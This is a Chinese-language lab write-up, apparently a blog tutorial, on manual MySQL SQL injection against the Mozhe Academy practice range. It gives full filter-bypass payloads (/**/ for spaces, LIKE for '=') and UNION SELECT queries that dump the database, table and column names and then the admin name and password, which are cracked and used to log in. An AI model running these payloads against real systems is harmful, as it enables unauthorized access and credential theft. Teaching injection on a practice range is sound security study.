前言
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。
判断注入点
通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。
所以咱们构造如下语句。
/**/and/**/1/**/like/**/1
结果如下图,页面正常显示。
接着咱们再构造如下语句。
/**/and/**/1/**/like/**/2
发现页面报错,说明存在注入点,且为数字型。如下图
判断字段数
通过 order by语句,咱们构造如下语句
/**/order/**/by/**/4
页面正常显示,如下图。
接下来,咱们输入如下语句。
/**/order/**/by/**/5
发现页面报错,说明数据库里有四个字段,如下图。
判断回显位置
通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。
/**/union/**/select/**/1,2,3,4/**/#
结果如下图,我们发现,2,3,两个位置回显到页面上了。
爆库
通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。
/**/union/**/select/**/1,database(),3,4/**/#
结果去下图。咱们爆出了数据库名。
爆表
由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。
/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)
结果去下图,咱们爆出了两个表。
爆字段
接下来咱们构造如下语句。
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)
然后咱们发现了name,password,两个字段,如下图。
爆账号密码
这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
结果如下图,查询出了管理员账号,密码。
解密密码,登陆
我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。
MySQL手工注入进阶篇实战总结
判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。
第一步,判断注入类型。构造语句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 发现报错。所以判断为数字型。
第二步,判断字段数,构造语句 /**/order/**/by/**/4和/**/order/**/by/**/5 发现4正常,5报错,说明有四个字段数。
第三步,爆库。构造语句 /**/union/**/select/**/1,database(),3,4/**/#
第四步,爆表。构造语句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)
第五步,爆字段。构造语句 构造语句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)
第六步,获取账户,密码。构造语句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
第七步,解密,登陆。